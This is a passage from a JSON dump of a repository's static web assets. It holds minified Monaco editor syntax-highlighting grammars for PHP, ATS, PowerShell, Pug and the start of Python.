\\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleWithCustomType:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.styleWithCustomType.$S2\"}],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleEmbedded:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInEmbeddedState.styleEmbedded.$S2\",nextEmbedded:\"@pop\"}],[/<\\/style/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}]],phpInSimpleState:[[/<\\?((php)|=)?/,\"metatag.php\"],[/\\?>/,{token:\"metatag.php\",switchTo:\"@$S2.$S3\"}],{include:\"phpRoot\"}],phpInEmbeddedState:[[/<\\?((php)|=)?/,\"metatag.php\"],[/\\?>/,{token:\"metatag.php\",switchTo:\"@$S2.$S3\",nextEmbedded:\"$S3\"}],{include:\"phpRoot\"}],phpRoot:[[/[a-zA-Z_]\\w*/,{cases:{\"@phpKeywords\":{token:\"keyword.php\"},\"@phpCompileTimeConstants\":{token:\"constant.php\"},\"@default\":\"identifier.php\"}}],[/[$a-zA-Z_]\\w*/,{cases:{\"@phpPreDefinedVariables\":{token:\"variable.predefined.php\"},\"@default\":\"variable.php\"}}],[/[{}]/,\"delimiter.bracket.php\"],[/[\\[\\]]/,\"delimiter.array.php\"],[/[()]/,\"delimiter.parenthesis.php\"],[/[ \\t\\r\\n]+/],[/#/,\"comment.php\",\"@phpLineComment\"],[/\\/\\//,\"comment.php\",\"@phpLineComment\"],[/\\/\\*/,\"comment.php\",\"@phpComment\"],[/\"/,\"string.php\",\"@phpDoubleQuoteString\"],[/'/,\"string.php\",\"@phpSingleQuoteString\"],[/[\\+\\-\\*\\%\\&\\|\\^\\~\\!\\=\\<\\>\\/\\?\\;\\:\\.\\,\\@]/,\"delimiter.php\"],[/\\d*\\d+[eE]([\\-+]?\\d+)?/,\"number.float.php\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float.php\"],[/0[xX][0-9a-fA-F']*[0-9a-fA-F]/,\"number.hex.php\"],[/0[0-7']*[0-7]/,\"number.octal.php\"],[/0[bB][0-1']*[0-1]/,\"number.binary.php\"],[/\\d[\\d']*/,\"number.php\"],[/\\d/,\"number.php\"]],phpComment:[[/\\*\\//,\"comment.php\",\"@pop\"],[/[^*]+/,\"comment.php\"],[/./,\"comment.php\"]],phpLineComment:[[/\\?>/,{token:\"@rematch\",next:\"@pop\"}],[/.$/,\"comment.php\",\"@pop\"],[/[^?]+$/,\"comment.php\",\"@pop\"],[/[^?]+/,\"comment.php\"],[/./,\"comment.php\"]],phpDoubleQuoteString:[[/[^\\\\\"]+/,\"string.php\"],[/@escapes/,\"string.escape.php\"],[/\\\\./,\"string.escape.invalid.php\"],[/\"/,\"string.php\",\"@pop\"]],phpSingleQuoteString:[[/[^\\\\']+/,\"string.php\"],[/@escapes/,\"string.escape.php\"],[/\\\\./,\"string.escape.invalid.php\"],[/'/,\"string.php\",\"@pop\"]]},phpKeywords:[\"abstract\",\"and\",\"array\",\"as\",\"break\",\"callable\",\"case\",\"catch\",\"cfunction\",\"class\",\"clone\",\"const\",\"continue\",\"declare\",\"default\",\"do\",\"else\",\"elseif\",\"enddeclare\",\"endfor\",\"endforeach\",\"endif\",\"endswitch\",\"endwhile\",\"extends\",\"false\",\"final\",\"for\",\"foreach\",\"function\",\"global\",\"goto\",\"if\",\"implements\",\"interface\",\"instanceof\",\"insteadof\",\"namespace\",\"new\",\"null\",\"object\",\"old_function\",\"or\",\"private\",\"protected\",\"public\",\"resource\",\"static\",\"switch\",\"throw\",\"trait\",\"try\",\"true\",\"use\",\"var\",\"while\",\"xor\",\"die\",\"echo\",\"empty\",\"exit\",\"eval\",\"include\",\"include_once\",\"isset\",\"list\",\"require\",\"require_once\",\"return\",\"print\",\"unset\",\"yield\",\"__construct\"],phpCompileTimeConstants:[\"__CLASS__\",\"__DIR__\",\"__FILE__\",\"__LINE__\",\"__NAMESPACE__\",\"__METHOD__\",\"__FUNCTION__\",\"__TRAIT__\"],phpPreDefinedVariables:[\"$GLOBALS\",\"$_SERVER\",\"$_GET\",\"$_POST\",\"$_FILES\",\"$_REQUEST\",\"$_SESSION\",\"$_ENV\",\"$_COOKIE\",\"$php_errormsg\",\"$HTTP_RAW_POST_DATA\",\"$http_response_header\",\"$argc\",\"$argv\"],escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/postiats.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/postiats\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={comments:{lineComment:\"//\",blockComment:[\"(*\",\"*)\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"],[\"<\",\">\"]],autoClosingPairs:[{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]}]},t.language={tokenPostfix:\".pats\",defaultToken:\"invalid\",keywords:[\"abstype\",\"abst0ype\",\"absprop\",\"absview\",\"absvtype\",\"absviewtype\",\"absvt0ype\",\"absviewt0ype\",\"as\",\"and\",\"assume\",\"begin\",\"classdec\",\"datasort\",\"datatype\",\"dataprop\",\"dataview\",\"datavtype\",\"dataviewtype\",\"do\",\"end\",\"extern\",\"extype\",\"extvar\",\"exception\",\"fn\",\"fnx\",\"fun\",\"prfn\",\"prfun\",\"praxi\",\"castfn\",\"if\",\"then\",\"else\",\"ifcase\",\"in\",\"infix\",\"infixl\",\"infixr\",\"prefix\",\"postfix\",\"implmnt\",\"implement\",\"primplmnt\",\"primplement\",\"import\",\"let\",\"local\",\"macdef\",\"macrodef\",\"nonfix\",\"symelim\",\"symintr\",\"overload\",\"of\",\"op\",\"rec\",\"sif\",\"scase\",\"sortdef\",\"sta\",\"stacst\",\"stadef\",\"static\",\"staload\",\"dynload\",\"try\",\"tkindef\",\"typedef\",\"propdef\",\"viewdef\",\"vtypedef\",\"viewtypedef\",\"prval\",\"var\",\"prvar\",\"when\",\"where\",\"with\",\"withtype\",\"withprop\",\"withview\",\"withvtype\",\"withviewtype\"],keywords_dlr:[\"$delay\",\"$ldelay\",\"$arrpsz\",\"$arrptrsize\",\"$d2ctype\",\"$effmask\",\"$effmask_ntm\",\"$effmask_exn\",\"$effmask_ref\",\"$effmask_wrt\",\"$effmask_all\",\"$extern\",\"$extkind\",\"$extype\",\"$extype_struct\",\"$extval\",\"$extfcall\",\"$extmcall\",\"$literal\",\"$myfilename\",\"$mylocation\",\"$myfunction\",\"$lst\",\"$lst_t\",\"$lst_vt\",\"$list\",\"$list_t\",\"$list_vt\",\"$rec\",\"$rec_t\",\"$rec_vt\",\"$record\",\"$record_t\",\"$record_vt\",\"$tup\",\"$tup_t\",\"$tup_vt\",\"$tuple\",\"$tuple_t\",\"$tuple_vt\",\"$break\",\"$continue\",\"$raise\",\"$showtype\",\"$vcopyenv_v\",\"$vcopyenv_vt\",\"$tempenver\",\"$solver_assert\",\"$solver_verify\"],keywords_srp:[\"#if\",\"#ifdef\",\"#ifndef\",\"#then\",\"#elif\",\"#elifdef\",\"#elifndef\",\"#else\",\"#endif\",\"#error\",\"#prerr\",\"#print\",\"#assert\",\"#undef\",\"#define\",\"#include\",\"#require\",\"#pragma\",\"#codegen2\",\"#codegen3\"],irregular_keyword_list:[\"val+\",\"val-\",\"val\",\"case+\",\"case-\",\"case\",\"addr@\",\"addr\",\"fold@\",\"free@\",\"fix@\",\"fix\",\"lam@\",\"lam\",\"llam@\",\"llam\",\"viewt@ype+\",\"viewt@ype-\",\"viewt@ype\",\"viewtype+\",\"viewtype-\",\"viewtype\",\"view+\",\"view-\",\"view@\",\"view\",\"type+\",\"type-\",\"type\",\"vtype+\",\"vtype-\",\"vtype\",\"vt@ype+\",\"vt@ype-\",\"vt@ype\",\"viewt@ype+\",\"viewt@ype-\",\"viewt@ype\",\"viewtype+\",\"viewtype-\",\"viewtype\",\"prop+\",\"prop-\",\"prop\",\"type+\",\"type-\",\"type\",\"t@ype\",\"t@ype+\",\"t@ype-\",\"abst@ype\",\"abstype\",\"absviewt@ype\",\"absvt@ype\",\"for*\",\"for\",\"while*\",\"while\"],keywords_types:[\"bool\",\"double\",\"byte\",\"int\",\"short\",\"char\",\"void\",\"unit\",\"long\",\"float\",\"string\",\"strptr\"],keywords_effects:[\"0\",\"fun\",\"clo\",\"prf\",\"funclo\",\"cloptr\",\"cloref\",\"ref\",\"ntm\",\"1\"],operators:[\"@\",\"!\",\"|\",\"`\",\":\",\"$\",\".\",\"=\",\"#\",\"~\",\"..\",\"...\",\"=>\",\"=<>\",\"=/=>\",\"=>>\",\"=/=>>\",\"<\",\">\",\"><\",\".<\",\">.\",\".<>.\",\"->\",\"-<>\"],brackets:[{open:\",(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"`(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"%(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"'(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"'{\",close:\"}\",token:\"delimiter.parenthesis\"},{open:\"@(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"@{\",close:\"}\",token:\"delimiter.brace\"},{open:\"@[\",close:\"]\",token:\"delimiter.square\"},{open:\"#[\",close:\"]\",token:\"delimiter.square\"},{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.square\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"<\",close:\">\",token:\"delimiter.angle\"}],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,IDENTFST:/[a-zA-Z_]/,IDENTRST:/[a-zA-Z0-9_'$]/,symbolic:/[%&+-./:=@~`^|*!$#?<>]/,digit:/[0-9]/,digitseq0:/@digit*/,xdigit:/[0-9A-Za-z]/,xdigitseq0:/@xdigit*/,INTSP:/[lLuU]/,FLOATSP:/[fFlL]/,fexponent:/[eE][+-]?[0-9]+/,fexponent_bin:/[pP][+-]?[0-9]+/,deciexp:/\\.[0-9]*@fexponent?/,hexiexp:/\\.[0-9a-zA-Z]*@fexponent_bin?/,irregular_keywords:/val[+-]?|case[+-]?|addr\\@?|fold\\@|free\\@|fix\\@?|lam\\@?|llam\\@?|prop[+-]?|type[+-]?|view[+-@]?|viewt@?ype[+-]?|t@?ype[+-]?|v(iew)?t@?ype[+-]?|abst@?ype|absv(iew)?t@?ype|for\\*?|while\\*?/,ESCHAR:/[ntvbrfa\\\\\\?'\"\\(\\[\\{]/,start:\"root\",tokenizer:{root:[{regex:/[ \\t\\r\\n]+/,action:{token:\"\"}},{regex:/\\(\\*\\)/,action:{token:\"invalid\"}},{regex:/\\(\\*/,action:{token:\"comment\",next:\"lexing_COMMENT_block_ml\"}},{regex:/\\(/,action:\"@brackets\"},{regex:/\\)/,action:\"@brackets\"},{regex:/\\[/,action:\"@brackets\"},{regex:/\\]/,action:\"@brackets\"},{regex:/\\{/,action:\"@brackets\"},{regex:/\\}/,action:\"@brackets\"},{regex:/,\\(/,action:\"@brackets\"},{regex:/,/,action:{token:\"delimiter.comma\"}},{regex:/;/,action:{token:\"delimiter.semicolon\"}},{regex:/@\\(/,action:\"@brackets\"},{regex:/@\\[/,action:\"@brackets\"},{regex:/@\\{/,action:\"@brackets\"},{regex:/:</,action:{token:\"keyword\",next:\"@lexing_EFFECT_commaseq0\"}},{regex:/\\.@symbolic+/,action:{token:\"identifier.sym\"}},{regex:/\\.@digit*@fexponent@FLOATSP*/,action:{token:\"number.float\"}},{regex:/\\.@digit+/,action:{token:\"number.float\"}},{regex:/\\$@IDENTFST@IDENTRST*/,action:{cases:{\"@keywords_dlr\":{token:\"keyword.dlr\"},\"@default\":{token:\"namespace\"}}}},{regex:/\\#@IDENTFST@IDENTRST*/,action:{cases:{\"@keywords_srp\":{token:\"keyword.srp\"},\"@default\":{token:\"identifier\"}}}},{regex:/%\\(/,action:{token:\"delimiter.parenthesis\"}},{regex:/^%{(#|\\^|\\$)?/,action:{token:\"keyword\",next:\"@lexing_EXTCODE\",nextEmbedded:\"text/javascript\"}},{regex:/^%}/,action:{token:\"keyword\"}},{regex:/'\\(/,action:{token:\"delimiter.parenthesis\"}},{regex:/'\\[/,action:{token:\"delimiter.bracket\"}},{regex:/'\\{/,action:{token:\"delimiter.brace\"}},[/(')(\\\\@ESCHAR|\\\\[xX]@xdigit+|\\\\@digit+)(')/,[\"string\",\"string.escape\",\"string\"]],[/'[^\\\\']'/,\"string\"],[/\"/,\"string.quote\",\"@lexing_DQUOTE\"],{regex:/`\\(/,action:\"@brackets\"},{regex:/\\\\/,action:{token:\"punctuation\"}},{regex:/@irregular_keywords(?!@IDENTRST)/,action:{token:\"keyword\"}},{regex:/@IDENTFST@IDENTRST*[<!\\[]?/,action:{cases:{\"@keywords\":{token:\"keyword\"},\"@keywords_types\":{token:\"type\"},\"@default\":{token:\"identifier\"}}}},{regex:/\\/\\/\\/\\//,action:{token:\"comment\",next:\"@lexing_COMMENT_rest\"}},{regex:/\\/\\/.*$/,action:{token:\"comment\"}},{regex:/\\/\\*/,action:{token:\"comment\",next:\"@lexing_COMMENT_block_c\"}},{regex:/-<|=</,action:{token:\"keyword\",next:\"@lexing_EFFECT_commaseq0\"}},{regex:/@symbolic+/,action:{cases:{\"@operators\":\"keyword\",\"@default\":\"operator\"}}},{regex:/0[xX]@xdigit+(@hexiexp|@fexponent_bin)@FLOATSP*/,action:{token:\"number.float\"}},{regex:/0[xX]@xdigit+@INTSP*/,action:{token:\"number.hex\"}},{regex:/0[0-7]+(?![0-9])@INTSP*/,action:{token:\"number.octal\"}},{regex:/@digit+(@fexponent|@deciexp)@FLOATSP*/,action:{token:\"number.float\"}},{regex:/@digit@digitseq0@INTSP*/,action:{token:\"number.decimal\"}},{regex:/@digit+@INTSP*/,action:{token:\"number\"}}],lexing_COMMENT_block_ml:[[/[^\\(\\*]+/,\"comment\"],[/\\(\\*/,\"comment\",\"@push\"],[/\\(\\*/,\"comment.invalid\"],[/\\*\\)/,\"comment\",\"@pop\"],[/\\*/,\"comment\"]],lexing_COMMENT_block_c:[[/[^\\/*]+/,\"comment\"],[/\\*\\//,\"comment\",\"@pop\"],[/[\\/*]/,\"comment\"]],lexing_COMMENT_rest:[[/$/,\"comment\",\"@pop\"],[/.*/,\"comment\"]],lexing_EFFECT_commaseq0:[{regex:/@IDENTFST@IDENTRST+|@digit+/,action:{cases:{\"@keywords_effects\":{token:\"type.effect\"},\"@default\":{token:\"identifier\"}}}},{regex:/,/,action:{token:\"punctuation\"}},{regex:/>/,action:{token:\"@rematch\",next:\"@pop\"}}],lexing_EXTCODE:[{regex:/^%}/,action:{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}},{regex:/[^%]+/,action:\"\"}],lexing_DQUOTE:[{regex:/\"/,action:{token:\"string.quote\",next:\"@pop\"}},{regex:/(\\{\\$)(@IDENTFST@IDENTRST*)(\\})/,action:[{token:\"string.escape\"},{token:\"identifier\"},{token:\"string.escape\"}]},{regex:/\\\\$/,action:{token:\"string.escape\"}},{regex:/\\\\(@ESCHAR|[xX]@xdigit+|@digit+)/,action:{token:\"string.escape\"}},{regex:/[^\\\\\"]+/,action:{token:\"string\"}}]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/powershell.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/powershell\",[\"require\",\"exports\"],function(e,s){\"use strict\";Object.defineProperty(s,\"__esModule\",{value:!0}),s.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\#%\\^\\&\\*\\(\\)\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\?\\s]+)/g,comments:{lineComment:\"#\",blockComment:[\"<#\",\"#>\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"',notIn:[\"string\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},s.language={defaultToken:\"\",ignoreCase:!0,tokenPostfix:\".ps1\",brackets:[{token:\"delimiter.curly\",open:\"{\",close:\"}\"},{token:\"delimiter.square\",open:\"[\",close:\"]\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"}],keywords:[\"begin\",\"break\",\"catch\",\"class\",\"continue\",\"data\",\"define\",\"do\",\"dynamicparam\",\"else\",\"elseif\",\"end\",\"exit\",\"filter\",\"finally\",\"for\",\"foreach\",\"from\",\"function\",\"if\",\"in\",\"param\",\"process\",\"return\",\"switch\",\"throw\",\"trap\",\"try\",\"until\",\"using\",\"var\",\"while\",\"workflow\",\"parallel\",\"sequence\",\"inlinescript\",\"configuration\"],helpKeywords:/SYNOPSIS|DESCRIPTION|PARAMETER|EXAMPLE|INPUTS|OUTPUTS|NOTES|LINK|COMPONENT|ROLE|FUNCTIONALITY|FORWARDHELPTARGETNAME|FORWARDHELPCATEGORY|REMOTEHELPRUNSPACE|EXTERNALHELP/,symbols:/[=><!~?&%|+\\-*\\/\\^;\\.,]+/,escapes:/`(?:[abfnrtv\\\\\"'$]|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/[a-zA-Z_][\\w-]*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"\"}}],[/[ \\t\\r\\n]+/,\"\"],[/^:\\w*/,\"metatag\"],[/\\$(\\{((global|local|private|script|using):)?[\\w]+\\}|((global|local|private|script|using):)?[\\w]+)/,\"variable\"],[/<#/,\"comment\",\"@comment\"],[/#.*$/,\"comment\"],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,\"delimiter\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float\"],[/0[xX][0-9a-fA-F_]*[0-9a-fA-F]/,\"number.hex\"],[/\\d+?/,\"number\"],[/[;,.]/,\"delimiter\"],[/\\@\"/,\"string\",'@herestring.\"'],[/\\@'/,\"string\",\"@herestring.'\"],[/\"/,{cases:{\"@eos\":\"string\",\"@default\":{token:\"string\",next:'@string.\"'}}}],[/'/,{cases:{\"@eos\":\"string\",\"@default\":{token:\"string\",next:\"@string.'\"}}}]],string:[[/[^\"'\\$`]+/,{cases:{\"@eos\":{token:\"string\",next:\"@popall\"},\"@default\":\"string\"}}],[/@escapes/,{cases:{\"@eos\":{token:\"string.escape\",next:\"@popall\"},\"@default\":\"string.escape\"}}],[/`./,{cases:{\"@eos\":{token:\"string.escape.invalid\",next:\"@popall\"},\"@default\":\"string.escape.invalid\"}}],[/\\$[\\w]+$/,{cases:{'$S2==\"':{token:\"variable\",next:\"@popall\"},\"@default\":{token:\"string\",next:\"@popall\"}}}],[/\\$[\\w]+/,{cases:{'$S2==\"':\"variable\",\"@default\":\"string\"}}],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":{cases:{\"@eos\":{token:\"string\",next:\"@popall\"},\"@default\":\"string\"}}}}]],herestring:[[/^\\s*([\"'])@/,{cases:{\"$1==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}],[/[^\\$`]+/,\"string\"],[/@escapes/,\"string.escape\"],[/`./,\"string.escape.invalid\"],[/\\$[\\w]+/,{cases:{'$S2==\"':\"variable\",\"@default\":\"string\"}}]],comment:[[/[^#\\.]+/,\"comment\"],[/#>/,\"comment\",\"@pop\"],[/(\\.)(@helpKeywords)(?!\\w)/,{token:\"comment.keyword.$2\"}],[/[\\.#]/,\"comment\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/pug.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/pug\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={comments:{lineComment:\"//\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]},{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]}]},t.language={defaultToken:\"\",tokenPostfix:\".pug\",ignoreCase:!0,brackets:[{token:\"delimiter.curly\",open:\"{\",close:\"}\"},{token:\"delimiter.array\",open:\"[\",close:\"]\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"}],keywords:[\"append\",\"block\",\"case\",\"default\",\"doctype\",\"each\",\"else\",\"extends\",\"for\",\"if\",\"in\",\"include\",\"mixin\",\"typeof\",\"unless\",\"var\",\"when\"],tags:[\"a\",\"abbr\",\"acronym\",\"address\",\"area\",\"article\",\"aside\",\"audio\",\"b\",\"base\",\"basefont\",\"bdi\",\"bdo\",\"blockquote\",\"body\",\"br\",\"button\",\"canvas\",\"caption\",\"center\",\"cite\",\"code\",\"col\",\"colgroup\",\"command\",\"datalist\",\"dd\",\"del\",\"details\",\"dfn\",\"div\",\"dl\",\"dt\",\"em\",\"embed\",\"fieldset\",\"figcaption\",\"figure\",\"font\",\"footer\",\"form\",\"frame\",\"frameset\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"head\",\"header\",\"hgroup\",\"hr\",\"html\",\"i\",\"iframe\",\"img\",\"input\",\"ins\",\"keygen\",\"kbd\",\"label\",\"li\",\"link\",\"map\",\"mark\",\"menu\",\"meta\",\"meter\",\"nav\",\"noframes\",\"noscript\",\"object\",\"ol\",\"optgroup\",\"option\",\"output\",\"p\",\"param\",\"pre\",\"progress\",\"q\",\"rp\",\"rt\",\"ruby\",\"s\",\"samp\",\"script\",\"section\",\"select\",\"small\",\"source\",\"span\",\"strike\",\"strong\",\"style\",\"sub\",\"summary\",\"sup\",\"table\",\"tbody\",\"td\",\"textarea\",\"tfoot\",\"th\",\"thead\",\"time\",\"title\",\"tr\",\"tracks\",\"tt\",\"u\",\"ul\",\"video\",\"wbr\"],symbols:/[\\+\\-\\*\\%\\&\\|\\!\\=\\/\\.\\,\\:]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/^(\\s*)([a-zA-Z_-][\\w-]*)/,{cases:{\"$2@tags\":{cases:{\"@eos\":[\"\",\"tag\"],\"@default\":[\"\",{token:\"tag\",next:\"@tag.$1\"}]}},\"$2@keywords\":[\"\",{token:\"keyword.$2\"}],\"@default\":[\"\",\"\"]}}],[/^(\\s*)(#[a-zA-Z_-][\\w-]*)/,{cases:{\"@eos\":[\"\",\"tag.id\"],\"@default\":[\"\",{token:\"tag.id\",next:\"@tag.$1\"}]}}],[/^(\\s*)(\\.[a-zA-Z_-][\\w-]*)/,{cases:{\"@eos\":[\"\",\"tag.class\"],\"@default\":[\"\",{token:\"tag.class\",next:\"@tag.$1\"}]}}],[/^(\\s*)(\\|.*)$/,\"\"],{include:\"@whitespace\"},[/[a-zA-Z_$][\\w$]*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"\"}}],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,\"delimiter\"],[/\\d+\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float\"],[/\\d+/,\"number\"],[/\"/,\"string\",'@string.\"'],[/'/,\"string\",\"@string.'\"]],tag:[[/(\\.)(\\s*$)/,[{token:\"delimiter\",next:\"@blockText.$S2.\"},\"\"]],[/\\s+/,{token:\"\",next:\"@simpleText\"}],[/#[a-zA-Z_-][\\w-]*/,{cases:{\"@eos\":{token:\"tag.id\",next:\"@pop\"},\"@default\":\"tag.id\"}}],[/\\.[a-zA-Z_-][\\w-]*/,{cases:{\"@eos\":{token:\"tag.class\",next:\"@pop\"},\"@default\":\"tag.class\"}}],[/\\(/,{token:\"delimiter.parenthesis\",next:\"@attributeList\"}]],simpleText:[[/[^#]+$/,{token:\"\",next:\"@popall\"}],[/[^#]+/,{token:\"\"}],[/(#{)([^}]*)(})/,{cases:{\"@eos\":[\"interpolation.delimiter\",\"interpolation\",{token:\"interpolation.delimiter\",next:\"@popall\"}],\"@default\":[\"interpolation.delimiter\",\"interpolation\",\"interpolation.delimiter\"]}}],[/#$/,{token:\"\",next:\"@popall\"}],[/#/,\"\"]],attributeList:[[/\\s+/,\"\"],[/(\\w+)(\\s*=\\s*)(\"|')/,[\"attribute.name\",\"delimiter\",{token:\"attribute.value\",next:\"@value.$3\"}]],[/\\w+/,\"attribute.name\"],[/,/,{cases:{\"@eos\":{token:\"attribute.delimiter\",next:\"@popall\"},\"@default\":\"attribute.delimiter\"}}],[/\\)$/,{token:\"delimiter.parenthesis\",next:\"@popall\"}],[/\\)/,{token:\"delimiter.parenthesis\",next:\"@pop\"}]],whitespace:[[/^(\\s*)(\\/\\/.*)$/,{token:\"comment\",next:\"@blockText.$1.comment\"}],[/[ \\t\\r\\n]+/,\"\"],[/<!--/,{token:\"comment\",next:\"@comment\"}]],blockText:[[/^\\s+.*$/,{cases:{\"($S2\\\\s+.*$)\":{token:\"$S3\"},\"@default\":{token:\"@rematch\",next:\"@popall\"}}}],[/./,{token:\"@rematch\",next:\"@popall\"}]],comment:[[/[^<\\-]+/,\"comment.content\"],[/-->/,{token:\"comment\",next:\"@pop\"}],[/<!--/,\"comment.content.invalid\"],[/[<\\-]/,\"comment.content\"]],string:[[/[^\\\\\"'#]+/,{cases:{\"@eos\":{token:\"string\",next:\"@popall\"},\"@default\":\"string\"}}],[/@escapes/,{cases:{\"@eos\":{token:\"string.escape\",next:\"@popall\"},\"@default\":\"string.escape\"}}],[/\\\\./,{cases:{\"@eos\":{token:\"string.escape.invalid\",next:\"@popall\"},\"@default\":\"string.escape.invalid\"}}],[/(#{)([^}]*)(})/,[\"interpolation.delimiter\",\"interpolation\",\"interpolation.delimiter\"]],[/#/,\"string\"],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":{token:\"string\"}}}]],value:[[/[^\\\\\"']+/,{cases:{\"@eos\":{token:\"attribute.value\",next:\"@popall\"},\"@default\":\"attribute.value\"}}],[/\\\\./,{cases:{\"@eos\":{token:\"attribute.value\",next:\"@popall\"},\"@default\":\"attribute.value\"}}],[/[\"']/,{cases:{\"$#==$S2\":{token:\"attribute.value\",next:\"@pop\"},\"@default\":{token:\"attribute.value\"}}}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/python.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/python\",[\"require\",\"exports\"],function(e,s){\"use 